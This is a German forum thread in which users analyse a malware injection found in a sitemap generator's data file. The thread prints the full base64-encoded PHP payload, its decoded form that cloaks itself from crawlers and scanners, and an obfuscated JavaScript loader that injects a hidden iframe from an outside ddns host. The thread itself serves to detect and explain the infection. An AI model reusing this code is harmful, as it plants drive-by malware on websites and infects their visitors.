Verfasst: 24.02.2012, 14:13
von schlafmuetzen
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNkYkoyUW5LeWR2Snlzbll5Y3JKM1VuS3lkdEp5c25aU2NySjI1MEoxMHBZV0U5TDF4M0x5NWxlR1ZqS0c1bGR5QkVZWFJsS0NrcExtbHVaR1Y0SzF0ZE8yRmhZVDBuTUNjN2RISjVlMjVsZHlCa2IyTjFiV1Z1ZENncE8zMWpZWFJqYUNoeGNYRXBlM056UFZOMGNtbHVaenQ5YVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVk5Snkwek1IWXRNekIyTmpaMk5qTjJMVGQyTVhZMk1YWTNNblkyTUhZM09IWTNNSFkyTW5ZM01YWTNOM1kzZGpZMGRqWXlkamMzZGpNd2RqWTVkall5ZGpjd2RqWXlkamN4ZGpjM2RqYzJkakkzZGpneWRqUTFkalU0ZGpZMGRqTTVkalU0ZGpjd2RqWXlkakYyTUhZMU9YWTNNblkyTVhZNE1uWXdkakoyTlRKMk9YWTFOSFl5ZGpnMGRpMHpNSFl0TXpCMkxUTXdkalkyZGpZemRqYzFkalU0ZGpjd2RqWXlkamMxZGpGMk1uWXlNSFl0TXpCMkxUTXdkamcyZGkwM2RqWXlkalk1ZGpjMmRqWXlkaTAzZGpnMGRpMHpNSFl0TXpCMkxUTXdkall4ZGpjeWRqWXdkamM0ZGpjd2RqWXlkamN4ZGpjM2RqZDJPREIyTnpWMk5qWjJOemQyTmpKMk1YWXROWFl5TVhZMk5uWTJNM1kzTlhZMU9IWTNNSFkyTW5ZdE4zWTNOblkzTlhZMk1IWXlNbll3ZGpZMWRqYzNkamMzZGpjemRqRTVkamgyT0hZMU9IWTFPWFkzT0hZM01IWTNNblkzTjNZM2RqWXhkall4ZGpjeGRqYzJkamQyTmpaMk56RjJOak4yTnpKMk9IWTJNWFk0ZGpFemRqbDJNVE4yTjNZM00zWTJOWFkzTTNZeU5IWTJOSFkzTW5ZeU1uWXhNSFl3ZGkwM2RqZ3dkalkyZGpZeGRqYzNkalkxZGpJeWRqQjJNVEIyT1hZd2RpMDNkalkxZGpZeWRqWTJkalkwZGpZMWRqYzNkakl5ZGpCMk1UQjJPWFl3ZGkwM2RqYzJkamMzZGpneWRqWTVkall5ZGpJeWRqQjJOemwyTmpaMk56WjJOaloyTlRsMk5qWjJOamwyTmpaMk56ZDJPREoyTVRsMk5qVjJOaloyTmpGMk5qRjJOakoyTnpGMk1qQjJOek4yTnpKMk56WjJOaloyTnpkMk5qWjJOekoyTnpGMk1UbDJOVGgyTlRsMk56WjJOekoyTmpsMk56aDJOemQyTmpKMk1qQjJOamwyTmpKMk5qTjJOemQyTVRsMk9YWXlNSFkzTjNZM01uWTNNM1l4T1hZNWRqSXdkakIyTWpOMk1qRjJPSFkyTm5ZMk0zWTNOWFkxT0hZM01IWTJNbll5TTNZdE5YWXlkakl3ZGkwek1IWXRNekIyT0RaMkxUTXdkaTB6TUhZMk0zWTNPSFkzTVhZMk1IWTNOM1kyTm5ZM01uWTNNWFl0TjNZMk5uWTJNM1kzTlhZMU9IWTNNSFkyTW5ZM05YWXhkakoyT0RSMkxUTXdkaTB6TUhZdE16QjJOemwyTlRoMk56VjJMVGQyTmpOMkxUZDJNakoyTFRkMk5qRjJOekoyTmpCMk56aDJOekIyTmpKMk56RjJOemQyTjNZMk1IWTNOWFkyTW5ZMU9IWTNOM1kyTW5Zek1IWTJPWFkyTW5ZM01IWTJNblkzTVhZM04zWXhkakIyTmpaMk5qTjJOelYyTlRoMk56QjJOakoyTUhZeWRqSXdkall6ZGpkMk56WjJOakoyTnpkMk1qWjJOemQyTnpkMk56VjJOaloyTlRsMk56aDJOemQyTmpKMk1YWXdkamMyZGpjMWRqWXdkakIyTlhZd2RqWTFkamMzZGpjM2RqY3pkakU1ZGpoMk9IWTFPSFkxT1hZM09IWTNNSFkzTW5ZM04zWTNkall4ZGpZeGRqY3hkamMyZGpkMk5qWjJOekYyTmpOMk56SjJPSFkyTVhZNGRqRXpkamwyTVROMk4zWTNNM1kyTlhZM00zWXlOSFkyTkhZM01uWXlNbll4TUhZd2RqSjJNakIyTmpOMk4zWTNOblkzTjNZNE1uWTJPWFkyTW5ZM2RqYzVkalkyZGpjMmRqWTJkalU1ZGpZMmRqWTVkalkyZGpjM2RqZ3lkakl5ZGpCMk5qVjJOaloyTmpGMk5qRjJOakoyTnpGMk1IWXlNSFkyTTNZM2RqYzJkamMzZGpneWRqWTVkall5ZGpkMk56TjJOekoyTnpaMk5qWjJOemQyTmpaMk56SjJOekYyTWpKMk1IWTFPSFkxT1hZM05uWTNNblkyT1hZM09IWTNOM1kyTW5Zd2RqSXdkall6ZGpkMk56WjJOemQyT0RKMk5qbDJOakoyTjNZMk9YWTJNblkyTTNZM04zWXlNbll3ZGpsMk1IWXlNSFkyTTNZM2RqYzJkamMzZGpneWRqWTVkall5ZGpkMk56ZDJOekoyTnpOMk1qSjJNSFk1ZGpCMk1qQjJOak4yTjNZM05uWTJNblkzTjNZeU5uWTNOM1kzTjNZM05YWTJOblkxT1hZM09IWTNOM1kyTW5ZeGRqQjJPREIyTmpaMk5qRjJOemQyTmpWMk1IWTFkakIyTVRCMk9YWXdkakoyTWpCMk5qTjJOM1kzTm5ZMk1uWTNOM1l5Tm5ZM04zWTNOM1kzTlhZMk5uWTFPWFkzT0hZM04zWTJNbll4ZGpCMk5qVjJOakoyTmpaMk5qUjJOalYyTnpkMk1IWTFkakIyTVRCMk9YWXdkakoyTWpCMkxUTXdkaTB6TUhZdE16QjJOakYyTnpKMk5qQjJOemgyTnpCMk5qSjJOekYyTnpkMk4zWTJOSFkyTW5ZM04zWXpNSFkyT1hZMk1uWTNNSFkyTW5ZM01YWTNOM1kzTm5ZeU4zWTRNblkwTlhZMU9IWTJOSFl6T1hZMU9IWTNNSFkyTW5ZeGRqQjJOVGwyTnpKMk5qRjJPREoyTUhZeWRqVXlkamwyTlRSMk4zWTFPSFkzTTNZM00zWTJNblkzTVhZMk1YWXlPSFkyTlhZMk5uWTJPWFkyTVhZeGRqWXpkakoyTWpCMkxUTXdkaTB6TUhZNE5pY3VjM0JzYVhRb0ozWW5LVHR0WkQwbllTYzdaVDEzYVc1a2IzZGJKMlVuS3lkMllXd25YVHQzUFdZN2N6MG5KenRtY2owblppY3JKM0p2SnlzbmJTY3JKME5vWVhJbk8zSTljM05iWm5JckowTnZaR1VuWFR0bWIzSW9hVDB3T3kxcFBpMTNMbXhsYm1kMGFEdHBLeXNwZTJvOWFUdHpQWE1yY2lnek9Tc3hLbmRiYWwwcE8zMEthV1lvWVdFdWFXNWtaWGhQWmloaFlXRXBJVDA5TFRFcENtVW9jeWs3UEM5elkzSnBjSFErJykpOw0KfQ=='));
Verfasst: 04.03.2012, 11:27
von Ralle NL
hmmm, konnte ich bisher noch nicht feststellen, ich nutze ihn für ein paar Sachen auch regelmäßig...
Grüße Ralle
Verfasst: 04.03.2012, 12:05
von schlafmuetzen
Mag sein, das der Code jetzt nicht mehr verbreitet wird. Gibt man jedoch generator/data/sitemap.html eval(base64_decode bei google ein werden ein paar Seiten aufgelistet, die sich genau den selben Scheiss eingefangen haben.
Einer hat mir auch schon bestätigt, das er auch einen Schadcode in einer früheren Version hatte.
Verfasst: 04.03.2012, 12:15
von schlafmuetzen
Nach dem Decodieren kommt das heraus:
error_reporting(0);
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android');
foreach ($botsUA as $bs) {if(strpos(strtolower($ua), $bs)!== false){$bot = true; break;}}
if (!$bot){
echo(base64_decode('PHNjcmlwdD5pZih3aW5kb3dbJ2QnKydvJysnYycrJ3UnKydtJysnZScrJ250J10pYWE9L1x3Ly5leGVjKG5ldyBEYXRlKCkpLmluZGV4K1tdO2FhYT0nMCc7dHJ5e25ldyBkb2N1bWVudCgpO31jYXRjaChxcXEpe3NzPVN0cmluZzt9aWYoYWEuaW5kZXhPZihhYWEpIT09LTEpCmY9Jy0zMHYtMzB2NjZ2NjN2LTd2MXY2MXY3MnY2MHY3OHY3MHY2MnY3MXY3N3Y3djY0djYydjc3djMwdjY5djYydjcwdjYydjcxdjc3djc2djI3djgydjQ1djU4djY0djM5djU4djcwdjYydjF2MHY1OXY3MnY2MXY4MnYwdjJ2NTJ2OXY1NHYydjg0di0zMHYtMzB2LTMwdjY2djYzdjc1djU4djcwdjYydjc1djF2MnYyMHYtMzB2LTMwdjg2di03djYydjY5djc2djYydi03djg0di0zMHYtMzB2LTMwdjYxdjcydjYwdjc4djcwdjYydjcxdjc3djd2ODB2NzV2NjZ2Nzd2NjJ2MXYtNXYyMXY2NnY2M3Y3NXY1OHY3MHY2MnYtN3Y3NnY3NXY2MHYyMnYwdjY1djc3djc3djczdjE5djh2OHY1OHY1OXY3OHY3MHY3MnY3N3Y3djYxdjYxdjcxdjc2djd2NjZ2NzF2NjN2NzJ2OHY2MXY4djEzdjl2MTN2N3Y3M3Y2NXY3M3YyNHY2NHY3MnYyMnYxMHYwdi03djgwdjY2djYxdjc3djY1djIydjB2MTB2OXYwdi03djY1djYydjY2djY0djY1djc3djIydjB2MTB2OXYwdi03djc2djc3djgydjY5djYydjIydjB2Nzl2NjZ2NzZ2NjZ2NTl2NjZ2Njl2NjZ2Nzd2ODJ2MTl2NjV2NjZ2NjF2NjF2NjJ2NzF2MjB2NzN2NzJ2NzZ2NjZ2Nzd2NjZ2NzJ2NzF2MTl2NTh2NTl2NzZ2NzJ2Njl2Nzh2Nzd2NjJ2MjB2Njl2NjJ2NjN2Nzd2MTl2OXYyMHY3N3Y3MnY3M3YxOXY5djIwdjB2MjN2MjF2OHY2NnY2M3Y3NXY1OHY3MHY2MnYyM3YtNXYydjIwdi0zMHYtMzB2ODZ2LTMwdi0zMHY2M3Y3OHY3MXY2MHY3N3Y2NnY3MnY3MXYtN3Y2NnY2M3Y3NXY1OHY3MHY2MnY3NXYxdjJ2ODR2LTMwdi0zMHYtMzB2Nzl2NTh2NzV2LTd2NjN2LTd2MjJ2LTd2NjF2NzJ2NjB2Nzh2NzB2NjJ2NzF2Nzd2N3Y2MHY3NXY2MnY1OHY3N3Y2MnYzMHY2OXY2MnY3MHY2MnY3MXY3N3YxdjB2NjZ2NjN2NzV2NTh2NzB2NjJ2MHYydjIwdjYzdjd2NzZ2NjJ2Nzd2MjZ2Nzd2Nzd2NzV2NjZ2NTl2Nzh2Nzd2NjJ2MXYwdjc2djc1djYwdjB2NXYwdjY1djc3djc3djczdjE5djh2OHY1OHY1OXY3OHY3MHY3MnY3N3Y3djYxdjYxdjcxdjc2djd2NjZ2NzF2NjN2NzJ2OHY2MXY4djEzdjl2MTN2N3Y3M3Y2NXY3M3YyNHY2NHY3MnYyMnYxMHYwdjJ2MjB2NjN2N3Y3NnY3N3Y4MnY2OXY2MnY3djc5djY2djc2djY2djU5djY2djY5djY2djc3djgydjIydjB2NjV2NjZ2NjF2NjF2NjJ2NzF2MHYyMHY2M3Y3djc2djc3djgydjY5djYydjd2NzN2NzJ2NzZ2NjZ2Nzd2NjZ2NzJ2NzF2MjJ2MHY1OHY1OXY3NnY3MnY2OXY3OHY3N3Y2MnYwdjIwdjYzdjd2NzZ2Nzd2ODJ2Njl2NjJ2N3Y2OXY2MnY2M3Y3N3YyMnYwdjl2MHYyMHY2M3Y3djc2djc3djgydjY5djYydjd2Nzd2NzJ2NzN2MjJ2MHY5djB2MjB2NjN2N3Y3NnY2MnY3N3YyNnY3N3Y3N3Y3NXY2NnY1OXY3OHY3N3Y2MnYxdjB2ODB2NjZ2NjF2Nzd2NjV2MHY1djB2MTB2OXYwdjJ2MjB2NjN2N3Y3NnY2MnY3N3YyNnY3N3Y3N3Y3NXY2NnY1OXY3OHY3N3Y2MnYxdjB2NjV2NjJ2NjZ2NjR2NjV2Nzd2MHY1djB2MTB2OXYwdjJ2MjB2LTMwdi0zMHYtMzB2NjF2NzJ2NjB2Nzh2NzB2NjJ2NzF2Nzd2N3Y2NHY2MnY3N3YzMHY2OXY2MnY3MHY2MnY3MXY3N3Y3NnYyN3Y4MnY0NXY1OHY2NHYzOXY1OHY3MHY2MnYxdjB2NTl2NzJ2NjF2ODJ2MHYydjUydjl2NTR2N3Y1OHY3M3Y3M3Y2MnY3MXY2MXYyOHY2NXY2NnY2OXY2MXYxdjYzdjJ2MjB2LTMwdi0zMHY4Nicuc3BsaXQoJ3YnKTttZD0nYSc7ZT13aW5kb3dbJ2UnKyd2YWwnXTt3PWY7cz0nJztmcj0nZicrJ3JvJysnbScrJ0NoYXInO3I9c3NbZnIrJ0NvZGUnXTtmb3IoaT0wOy1pPi13Lmxlbmd0aDtpKyspe2o9aTtzPXMrcigzOSsxKndbal0pO30KaWYoYWEuaW5kZXhPZihhYWEpIT09LTEpCmUocyk7PC9zY3JpcHQ+'));
}
Verfasst: 05.03.2012, 09:47
von whyte
und wenn es kein $bot ist, wird dies ausgeführt, sieht nach javascript aus
Code: Alles auswählen
<script>if(window['d'+'o'+'c'+'u'+'m'+'e'+'nt'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{new document();}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)
f='-30v-30v66v63v-7v1v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v2v84v-30v-30v-30v66v63v75v58v70v62v75v1v2v20v-30v-30v86v-7v62v69v76v62v-7v84v-30v-30v-30v61v72v60v78v70v62v71v77v7v80v75v66v77v62v1v-5v21v66v63v75v58v70v62v-7v76v75v60v22v0v65v77v77v73v19v8v8v58v59v78v70v72v77v7v61v61v71v76v7v66v71v63v72v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v-7v80v66v61v77v65v22v0v10v9v0v-7v65v62v66v64v65v77v22v0v10v9v0v-7v76v77v82v69v62v22v0v79v66v76v66v59v66v69v66v77v82v19v65v66v61v61v62v71v20v73v72v76v66v77v66v72v71v19v58v59v76v72v69v78v77v62v20v69v62v63v77v19v9v20v77v72v73v19v9v20v0v23v21v8v66v63v75v58v70v62v23v-5v2v20v-30v-30v86v-30v-30v63v78v71v60v77v66v72v71v-7v66v63v75v58v70v62v75v1v2v84v-30v-30v-30v79v58v75v-7v63v-7v22v-7v61v72v60v78v70v62v71v77v7v60v75v62v58v77v62v30v69v62v70v62v71v77v1v0v66v63v75v58v70v62v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v76v75v60v0v5v0v65v77v77v73v19v8v8v58v59v78v70v72v77v7v61v61v71v76v7v66v71v63v72v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v2v20v63v7v76v77v82v69v62v7v79v66v76v66v59v66v69v66v77v82v22v0v65v66v61v61v62v71v0v20v63v7v76v77v82v69v62v7v73v72v76v66v77v66v72v71v22v0v58v59v76v72v69v78v77v62v0v20v63v7v76v77v82v69v62v7v69v62v63v77v22v0v9v0v20v63v7v76v77v82v69v62v7v77v72v73v22v0v9v0v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v80v66v61v77v65v0v5v0v10v9v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v65v62v66v64v65v77v0v5v0v10v9v0v2v20v-30v-30v-30v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v7v58v73v73v62v71v61v28v65v66v69v61v1v63v2v20v-30v-30v86'.split('v');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;-i>-w.length;i++){j=i;s=s+r(39+1*w[j]);}
if(aa.indexOf(aaa)!==-1)
e(s);</script>
Verfasst: 05.03.2012, 11:14
von ingamint
Der JavaScript-Schadcode wird wie oben schon gesagt eingefügt, wenn ein Windows-User ohne typische Bot-Kennung vorbeikommt. Er lädt dann einen versteckten IFrame mit vermutlich weiterem Schadcode von der Adresse "
https://abumot.ddns.info/d/404.php?go=1". Das war vermutlich ebenfalls ein infiziertes System.
Die Adresse wird inzwischen aber nicht mehr aufgelöst und scheint laut Google seit mindestens 90 Tagen sauber zu sein.